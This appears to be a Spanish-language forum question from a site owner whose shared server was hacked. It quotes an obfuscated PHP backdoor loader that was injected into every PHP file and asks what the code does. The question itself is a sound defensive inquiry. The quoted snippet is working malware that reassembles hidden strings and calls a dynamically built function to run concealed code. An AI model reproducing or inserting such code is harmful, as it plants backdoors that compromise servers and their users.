Recientemente tuve un servidor de alojamiento compartido que fue hackeado; la siguiente línea de código se inyectó en la parte superior de cada archivo PHP en el servidor:
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$peyjqdmyjs = explode(chr((183-139)),'7333,32,3252,22,7391,53,2462,43,792,46,5856,57,512,57,3749,48,3797,22,5642,33,8280,44,1091,54,4812,31,5820,36,4148,59,1382,42,6915,24,8658,27,1235,65,6863,52,3298,69,5085,46,4030,65,9611,41,8800,49,56,64,3726,23,7056,37,7093,54,9876,44,3852,34,7937,65,1046,45,2999,28,2505,40,5721,49,7238,21,4264,28,4958,36,8231,49,9652,66,1895,48,3516,25,8553,37,6728,37,2873,57,1820,47,4292,36,569,26,2105,44,5578,64,7578,55,3137,53,9073,53,1485,48,838,21,7524,28,7147,53,0,56,9297,63,343,30,5675,46,5379,32,485,27,1943,64,9360,38,8874,24,595,66,9235,38,960,27,2274,45,7478,46,3093,44,8898,70,1684,32,3932,33,6441,40,3541,44,4547,31,8002,65,1769,51,1716,53,9846,30,6765,59,4639,63,7200,38,4498,49,6290,34,7654,29,2077,28,6047,36,2319,22,8461,61,3367,57,6261,29,4843,58,1867,28,4207,57,3585,49,293,50,7307,26,4766,46,7728,29,3274,24,7757,21,5131,51,1533,52,9515,48,6360,59,6160,54,2149,38,233,60,2407,35,9213,22,3476,40,8612,46,5259,28,3694,32,4578,61,4328,24,738,54,6324,36,9563,48,2545,52,6523,44,7633,21,8324,55,7778,62,5942,63,8849,25,9398,64,899,61,3634,60,1213,22,3027,66,5913,29,7888,49,7840,48,6708,20,2649,63,6481,22,2187,51,8590,22,7552,26,8731,37,5052,33,6214,47,3886,46,120,35,5451,63,8067,68,5287,69,2597,52,10043,63,2773,52,155,43,4702,26,8685,46,4095,53,2238,36,2007,70,7444,34,7019,37,1424,61,6083,28,987,59,6419,22,9718,46,5411,40,9764,43,6610,40,8135,55,4994,32,4901,57,9807,39,859,40,9126,34,2442,20,6005,42,1649,35,3819,33,2362,45,9160,53,3965,65,8522,31,4352,26,9462,53,1182,31,8417,44,5514,64,7259,48,7683,45,1359,23,1145,22,661,20,9008,65,5770,50,4469,29,6111,49,3190,62,681,57,198,35,9980,38,3424,52,9273,24,2930,69,8190,41,6824,39,8379,38,5182,38,4444,25,7365,26,373,43,2712,61,5026,26,1300,59,4728,38,6567,43,9920,60,6939,36,416,25,4378,66,6503,20,5356,23,461,24,8768,32,6650,58,2825,48,6975,44,10018,25,5220,39,8968,40,441,20,1585,64,2341,21,1167,15'); $rcwmfpxjbs=substr($pyyhlxfwxr,(63563-53457),(37-30)); if (!function_exists('djbxmtkyiw')) { function djbxmtkyiw($siiigmplqz, $jcodtyjdch) { $vqvamvvnqx = NULL; for($ttgvvqxcls=0;$ttgvvqxcls<(sizeof($siiigmplqz)/2);$ttgvvqxcls++) { $vqvamvvnqx .= substr($jcodtyjdch, $siiigmplqz[($ttgvvqxcls*2)],$siiigmplqz[($ttgvvqxcls*2)+1]); } return $vqvamvvnqx; };} $odgmnprvdj="\x20\x2a\x726\x6b0\x735\x6e3\x713\x20\x2f\x656\x614\x283\x742\x5f2\x650\x6c1\x635\x283\x682\x28\x32\x37\x32\x30\x29\x203\x682\x28\x33\x31\x32\x39\x29\x204\x6a2\x785\x743\x791\x77\x240\x651\x6a1\x645\x792\x73\x240\x791\x684\x786\x770\x72\x29\x3b\x2f\x204\x6f4\x711\x610\x786\x65\x2a\x20"; $pjegxnbdlt=substr($pyyhlxfwxr,(31614-21501),(70-58)); $pjegxnbdlt($rcwmfpxjbs, $odgmnprvdj, NULL); $pjegxnbdlt=$odgmnprvdj; $pjegxnbdlt=(391-270); $pyyhlxfwxr=$pjegxnbdlt-1; ?>
Por supuesto, estoy en el proceso de desconectar el servidor e intentar descubrir cómo fue pirateado, pero me gustaría saber qué hace este código PHP. Cuando visito las páginas pirateadas y veo la fuente, nada parece fuera de lo común; No parece estar poniendo nada visible para los visitantes en las páginas pirateadas. Los desobuscadores en línea que probé fallaron con esta muestra, aunque mi escáner de virus lo detecta como una puerta trasera. ¿Alguna idea?